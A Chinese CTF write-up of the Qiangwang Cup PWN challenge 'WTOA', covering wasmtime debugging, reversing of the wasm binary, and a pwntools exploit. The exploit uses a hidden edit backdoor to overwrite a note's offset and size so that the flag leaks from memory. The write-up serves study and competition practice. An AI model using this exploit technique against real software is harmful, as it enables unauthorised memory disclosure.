第七届强网杯-PWN-【WTOA】

news2024/10/1 3:32:15

文章目录

  • 参考
  • WebAssembly
  • Wasmtime
  • 调试
  • 逆向源码
  • exp

参考

WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

WebAssembly

WebAssembly是一种可移植的二进制指令集格式,其本身与平台无关,类似于Java的class文件字节码。

WebAssembly本来的设计初衷是想让浏览器可以运行C语言这种编译型语言的代码。通常我们的C语言代码会使用gcc或clang等编译器直接编译链接成与平台相关的二进制可执行文件,这种与平台相关的二进制文件浏览器是无法直接运行的。如果想让浏览器运行C语言代码,就需要使用可将C语言编译成WebAssembly指令的编译器,编译好的代码是wasm格式。然后就可以使用各种wasm运行时来执行wasm代码,这就类似于JVM虚拟机执行class文件。

由于指令集和运行时环境本身与web场景并不绑定,因此随着后来的发展,WebAssembly指令集出现了可以脱离浏览器的独立运行时环境,WebAssembly的用途也变得更加广泛。

Wasmtime

相比于浏览器的运行时,wasmtime是一个独立运行时环境,它可以脱离Web环境来执行wasm代码。它本身提供了命令行工具和API两种方式来执行wasm代码。

启动时候flag作为环境变量在内存,这里是通过AOT 编译wasm 代码为ELF,所以通过 --allow-precompiled来运行

./wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa

调试

gdb ./wasmtime 
set args  run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa

发现flag和add后输入的content很接近

pwndbg> search flag{
Searching for value: 'flag{'
[heap]          0x555556fac865 'flag{zhiyinnitaimei}@'
[heap]          0x555556fc91c0 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2b40 'flag{zhiyinnitaimei}'
[anon_7ffe77bb3] 0x7ffe780b2c6d 'flag{zhiyinnitaimei}'
[stack]         0x7fffffffe19b 'flag{zhiyinnitaimei}'
pwndbg> search aaaaaaaa
Searching for value: 'aaaaaaaa'
[anon_7ffe77bb3] 0x7ffe780b2cc0 'aaaaaaaa'
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2c6d
0x53 does not belong to a mapped page in memory
pwndbg> distance 0x7ffe780b2cc0-0x7ffe780b2b40
0x180 does not belong to a mapped page in memory
pwndbg> 

wtoa的代码段是在wtoa偏移0x1000开始,所以记得函数断点0x7ffff7bfc000+IDA中的地址-0x1000

  0x7ffff7bfc000     0x7ffff7c08000 r-xp     c000   1000 /home/llk/Desktop/pwn/attachment/glibc_pwn/2023qwb_WTOA/WTOA/wtoa

逆向源码

把wasm格式文件放入IDA

IDA View->Graphs->Function Calls

找到分支比较多的可能是主函数,然后查看,并结合调试和字符串定位来逆向
在这里插入图片描述

调试发现输入Add后如下,应该只能截取两个字节,然后高字节减去A来得到对应的choice,并且flag在下面不远处

 0x7ffff7bfd337    call   0x7ffff7bfeef0              <0x7ffff7bfeef0>
 
 ► 0x7ffff7bfd33c    movsx  r8, byte ptr [rbx + r15 + 0x10]     R8, [0x7ffe780b2b20] => 0x41
   0x7ffff7bfd342    add    r8d, -0x41                          R8D => 0 (0x41 + 0xffffffffffffffbf)


x/40s 0x7ffe780b2b20
0x7ffe780b2b20:	"Ad"
0x7ffe780b2b23:	""
0x7ffe780b2b24:	""
0x7ffe780b2b25:	""
0x7ffe780b2b26:	""
0x7ffe780b2b27:	""
0x7ffe780b2b28:	""
0x7ffe780b2b29:	""
0x7ffe780b2b2a:	""
0x7ffe780b2b2b:	""
0x7ffe780b2b2c:	""
0x7ffe780b2b2d:	""
0x7ffe780b2b2e:	""
0x7ffe780b2b2f:	""
0x7ffe780b2b30:	""
0x7ffe780b2b31:	""
0x7ffe780b2b32:	""
0x7ffe780b2b33:	""
0x7ffe780b2b34:	""
0x7ffe780b2b35:	""
0x7ffe780b2b36:	""
0x7ffe780b2b37:	""
0x7ffe780b2b38:	""
0x7ffe780b2b39:	""
0x7ffe780b2b3a:	""
0x7ffe780b2b3b:	""
0x7ffe780b2b3c:	"m\034P"
0x7ffe780b2b40:	"flag{zhiyinnitaimei}"
0x7ffe780b2b55:	""

根据字符串定位时发现没有引用的,后来发现是通过偏移的,发现第 3 个参数原来是 .rodata.wasm 段内的偏移值

 print(v6, v6, 0x46FLL, 0LL);                // size
 .rodata.wasm:000000000001B46F aSize           db 'size > ',0

然后结合字符串和上下文和动态调试可以猜出所有函数的作用

大概是每次进入函数都会先模拟开辟栈空间,然后调用其中的变量

大致管理如下
在这里插入图片描述
可以发现第0个chunk_struct的content_offset在第1个chunk_struct上面
在这里插入图片描述

结合edit存在的后门,当 len == 0x345231会写48个字节,但只能写一次,所以利用一次得到flag

  getinput(a1, a1, 0LL, v20 - 48, 31);
    len = set_to_chunk(a1, a1, v20 - 48);
    *(base + v4 + 36) = len;
    if ( len == 0x345231 )
    {
      if ( *(base + 4016) == 1 )
      {
        v14 = *(base + v4 + 44);
        *(base + v4 + 4) = *(base + v4 + 40);
        *(base + v4) = v14;
        print(a1, a1, 0x4DELL, (v20 - 96));     // content for note[%lu] with offset [%lu] >
        save(a1, a1, *(v19 + 40) + *(base + *(base + (*(base + *(v19 + 92) + 4) + 4 * *(base + v4 + 44)))), 48);
        *(base + 4016) = 0;
        goto LABEL_15;
      }
      v13 = base + v4;
    }

根据上述缓存区是在chunk_struct 2上方,结合溢出,可将content_offset起改为flag的偏移,然后show可以泄露处flag,当然长度不够,再把size改大就行
在这里插入图片描述
发现开了随机话后偏移不变,改为flag的偏移即可
在这里插入图片描述

exp

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p = process('wasmtime run --env FLAG="flag{zhiyinnitaimei}" --disable-cache --allow-precompiled ./wtoa'.split(' '))

gdb.attach(p)
pause()

p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[0] > ",8*str("a"))

p.sendlineafter(b"Choice > ",str("A")) 
p.sendlineafter(b"size > ",str("8"))
p.sendlineafter(b"content for note[1] > ",8*str("b"))


p.sendlineafter(b"Choice > ",str("E")) 
p.sendlineafter(b"index > ",str("0"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("3428913"))
p.sendlineafter(b"content for note[0] with offset [0] > ",b"a"*32+p64(0x501b40)+p64(0x20))


p.sendlineafter(b"Choice > ",str("S")) 
p.sendlineafter(b"index > ",str("1"))
p.sendlineafter(b"offset > ",str("0"))  
p.sendlineafter(b"length > ",str("32"))

p.recvuntil(b"content for note[1] with offset [0] > ")
flag=p.recv(timeout=2)
print(flag)
p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2066003.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Springsecurity中的Eureka报错:Cannot execute request on any known server

完整报错信息&#xff1a; com.netflix.discovery.shared.transport.TransportException: Cannot execute request on any known server 报错体现&#xff1a; 访问eureka控制面板&#xff1a; 访问测试地址&#xff1a; 控制台报错&#xff1a; 可能的报错原因&#xff…

Python之列表解析和用matplotlib模块绘制图形

列表解析用matplotlib模块绘制成图形导入模块numpy阵列将列表转为阵列arrange函数创建阵列广播 使用matplotilib将阵列绘制成图 列表解析 列表解析式用紧凑的方式来构造列表。 语法&#xff1a; [表达式 for循环 条件] 例如&#xff1a;要得到0-20的偶数列表。需要在0-20中循环…

CyberScraper-2077+simple-one-api:使用大模型爬虫

大模型相关目录 大模型&#xff0c;包括部署微调prompt/Agent应用开发、知识库增强、数据库增强、知识图谱增强、自然语言处理、多模态等大模型应用开发内容 从0起步&#xff0c;扬帆起航。 swift与Internvl下的多模态大模型分布式微调指南&#xff08;附代码和数据&#xff…

IT6113: 高速MIPI DSI 4通道转8通道转接芯片资料

1、产品概述&#xff1a; 芯片将 SOC输出的4通道高速 Mipi DSI 视频转换为8通道半速 DSI 显示器&#xff0c;用于平板电脑、智能手机、笔记本电脑、 VR、智能手表等应用&#xff0c;分割器模式也可用。 2、产品说明 &#xff1a; IT6113 MIPI DSI 视频桥是一个4通道进、8通道出…

2024安卓iOS免签封装源码/解决APP误报毒/可打包和上传APP/自动实现5分钟随机更换签名

源码简介&#xff1a; 2024全新安卓iOS免签封装源码&#xff0c;它可处理apk报毒&#xff0c;解决APP误报毒。不仅可打包APP&#xff0c;也可上传APK。自动实现5分钟随机更换包名和签名系统源码。 解决app误报毒&#xff0c;可打包APP可上传APK&#xff0c;并且自动实现5分钟…

ShardingSphere导致的NPE

1. 项目背景 工程内使用shardingsphere支持分库分表&#xff0c;上层使用的MybatisPlus&#xff0c;有一张表的操作总是报NullPointException。 2. 异常堆栈 ### SQL: INSERT INTO t_tg_message ( update_id, from_id, from_user_name, chat_id, type, data, text, create_…

领夹麦克风哪个品牌音质最好?一文揭秘国内最好的麦克风品牌

在数字化直播与Vlog盛行的今天&#xff0c;无线领夹麦克风凭借其便捷性与高音质&#xff0c;成为了内容创作者们的必备好物。但随着市场的迅速扩张&#xff0c;无线领夹麦克风领域也悄然滋生了一系列乱象。品牌众多&#xff0c;质量却良莠不齐&#xff0c;消费者稍有不慎便可能…

Ollama是什么?安装部署指南

Ollama是什么&#xff1f; 一个本地部署运行大模型的工具&#xff0c;一行命令一键启动&#xff0c;支持linux、windows和mac操作系统的安装。 Ollama支撑哪些大模型&#xff1f; 访问&#xff1a;https://ollama.com/library&#xff0c;列表下的大模型&#xff0c;它都支持…

centos7 redis安装+开机启动(6379+6380)

redis安装 步骤1-下载 下载地址&#xff1a;Index of /releases/ 步骤2-安装 Centos安装Redis-CSDN博客 下载包到 /usr/local/redis解压 tar -zxvf redis-7.0.0.tar.gz切路径 /usr/local/redis/redis-7.0.0编译 make切路径 /usr/local/redis/redis-7.0.0/src安装make instal…

Transformer动画讲解 - Softmax函数

Transformer的Softmax函数 Transformer的Softmax函数&#xff1a; 用于将原始注意力分数转换为输入标记的概率分布。这种分布将较高的注意力权重分配给更相关的标记&#xff0c;并将较低的权重分配给不太相关的标记。Transformers通过Softmax在生成输出时&#xff0c;使用注意…

Find My激光笔|苹果Find My技术与激光笔结合,智能防丢,全球定位

激光笔通常用于指示特定的方向或位置。激光笔在教学领域应用广泛。老师可以利用激光笔在教室中远距离展示教学材料上的内容&#xff0c;。在户外活动中&#xff0c;激光笔也发挥着重要作用&#xff0c;发出求救信号或与其他营地建立联系。激光笔还可以用于娱乐和创意表达。 在…

认知杂谈21

今天分享 有人说的一段争议性的话 I I 自在之“坏”&#xff1a;真实自我的绽放 在社交场合中&#xff0c;听到“他不是个好人”这句话可能会让人惊讶&#xff0c;但其实被贴上“坏人”标签的人往往敢于跳出规则框架&#xff0c;展现真实自我。他们不做表面和谐的牺牲品&am…

前程无忧搜索接口 JS 逆向:阿里系acw_sc__v2和Sign加密

&#x1f4ca; 前程无忧搜索接口 JS 逆向&#xff1a;阿里系acw_sc__v2和Sign加密 &#x1f50d; 观察网页加密规律&#xff1a;阿里系acw_sc__v2 在分析前程无忧的搜索接口时&#xff0c;我们首先需要关注网页的加密规律。特别是阿里系的 acw_sc__v2 加密机制。这个加密机制通…

2024世界机器人大会盛大开幕,卓翼飞思携无人智能领域产品集中亮相 !

开放创新 聚享未来&#xff01;万众瞩目的2024世界机器人大会暨博览会于8月21日在北京亦创国际会展中心盛大开幕。大会聚焦机器人技术与产业前沿趋势&#xff0c;展示机器人创新应用赋能千行百业的多元场景&#xff0c;全球顶尖的机器人科学家、行业领袖、创新精英汇聚一堂&…

干货-并发编程提高——线程池-Executor (十三)

Executor 框架&#xff08;java线程基础&#xff09;不仅包括了线程池的管理&#xff0c;还提供了线程工厂、队列以及拒绝策略等&#xff0c;Executor 框架让并发编程变得更加简单。 /** * 用给定的初始参数创建一个新的ThreadPoolExecutor。 */ public ThreadPoolExecutor(in…

[创业之路-141] :产品经理 - NPDP概述

目录 一、产品经理以及主要职责 1.1 概述 1、市场调研与需求分析 2、产品规划与设计 3、项目管理与协调 4、产品推广与销售支持 5、产品运营与维护 6、其他职责 1.2 产品经理与项目经理的职责分工 1.2.1 职责区别 产品经理 项目经理 1.2.2 合作方式 二、什么是NP…

Oracle数据库最新的支持服务年限

根据图示&#xff0c;建议尽快升级到19c或者23ai

各种JOIN的区别

1. Inner Join(Join , 内连接) 功能&#xff1a; 返回两个表中都有的记录信息 也称之为自然连接 inner可以省略&#xff0c;inner join join 图解&#xff1a; 语法&#xff1a; SELECT columns FROM Table_A A INNER JOIN Table_B B ON A.column B.column;结果&#xff…

【Sql Server】使用row_number over方式进行表分页,数据量达到五千多条记录后,查询变慢需要20多秒的解决方案

大家好&#xff0c;我是全栈小5&#xff0c;欢迎来到《小5讲堂》。 这是《Sql Server》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 前言单字段查询…

缓存出海方案

优质博文&#xff1a;IT-BLOG-CN 一、挑战/注意事项 【1】框架组不允许在不同地区部署的独立Redis实例拥有相同的名称&#xff0c;因此不同地区需要使用不用的Redis集群名称。 【2】分布式锁问题&#xff1a; 该场景需要保证key与UCS灰度策略是可以同步的&#xff0c;即同一…